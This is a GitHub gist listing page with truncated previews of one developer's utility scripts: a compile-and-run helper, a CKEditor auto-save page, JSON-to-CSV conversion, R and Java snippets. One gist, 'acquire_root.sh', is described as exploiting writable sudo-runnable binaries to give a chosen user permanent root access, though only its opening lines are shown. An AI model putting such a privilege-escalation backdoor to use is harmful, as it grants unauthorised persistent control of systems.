Skip to content

Instantly share code, notes, and snippets.

View m-manu's full-sized avatar

Manu Manjunath m-manu

View GitHub Profile
@m-manu
m-manu / run
Created March 4, 2014 05:57
To use this script, just place this in "/bin" directory (and grant it 755 perms). Then run your source files like "run helloworld.c" or "run HelloWorld.java" or "run helloworld.c"
#!/usr/bin/python
'''
Quickly compile and execute a source file in one-go. Does cleanup of executable file, if any.
Handles C, C++, Java, PHP, Shell and Python
'''
import argparse
from os import path, system, remove
def sourcefile(x):
if not path.isfile(x):
@m-manu
m-manu / ckeditor.html
Last active September 16, 2020 17:16
CKEditor in Full Screen with auto-save
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CKEditor</title>
<script type="text/javascript" src="./ckeditor.js"></script>
<script type="text/javascript">
var editor1, editor1isModified = false;
function initialize() {
CKEDITOR.replace('editor1', {
@m-manu
m-manu / json2csv.php
Created August 4, 2015 06:45
Attempts to convert a JSON to CSV
<?php
if (count($argv) != 3) {
error_log("Pass input_file_path output_file_path");
exit;
}
$input_file_path = $argv[1];
$output_file_path = $argv[2];
$json_str = file_get_contents($input_file_path);
@m-manu
m-manu / acquire_root.sh
Last active November 28, 2016 06:04
Find sudo runnable binaries that are writeable, exploit, get permanent root access
#!/bin/bash
if [ $UID -ne 0 ]; then
echo >&2 "You should run this as root"
exit
fi
# Id of user who needs to get root access:
COOL_USER_ID=1089
@m-manu
m-manu / scr
Last active November 28, 2016 06:03
GNU Screen: in and out (only one screen)
#!/bin/bash
if [ "$TERM" = "screen" ]; then
echo "Sorry, you're already inside a screen"
elif [ `screen -D | wc -l` -eq 1 ]; then
echo "Launching new screen..."
/usr/bin/screen
else
echo "Resuming previous screen..."
/usr/bin/screen -D -x
fi
@m-manu
m-manu / csvRandomForest.R
Created March 30, 2016 12:57
Handy R script to train data in 'training.csv' using random forest and predict output using inputs from 'test.csv'
trainingCsv <- "./training.csv"
testCsv <- "./test.csv"
trainingData <- read.csv(trainingCsv)
testData <- read.csv(testCsv)
numColumns <- dim(trainingData)[2]
columnNames <- colnames(trainingData)
stopifnot(numColumns == dim(testData)[2] + 1)
stopifnot(columnNames[-numColumns] == colnames(testData))
@m-manu
m-manu / HBaseDemo.java
Created July 12, 2016 12:50
Check if you are able to access HBase
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.hbase.HBaseConfiguration;
import org.apache.hadoop.hbase.KeyValue;
import org.apache.hadoop.hbase.client.*;
import org.apache.hadoop.hbase.ipc.HBaseRPC;
import org.apache.hadoop.hbase.ipc.HMasterInterface;
import org.apache.hadoop.hbase.ipc.RpcEngine;
import org.apache.hadoop.hbase.util.Bytes;
import java.io.IOException;
@m-manu
m-manu / State.java
Last active November 28, 2016 06:20
State machine with Jackson serialization
package manu.sandbox.demos;
import com.fasterxml.jackson.annotation.JsonValue;
import com.google.common.collect.Sets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
/**
@m-manu
m-manu / AverageCalculator.java
Created January 21, 2017 14:27
Compute statistical averages (mean, median and mode) from a stream of numbers. Optimized for 'fetch'.
package manu.sandbox.utils;
import java.util.*;
public class AverageCalculator {
private static class FrequencyComparator implements Comparator<Double> {
private final Map<Double, Integer> histogram;
package manu.sandbox.utils;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.*;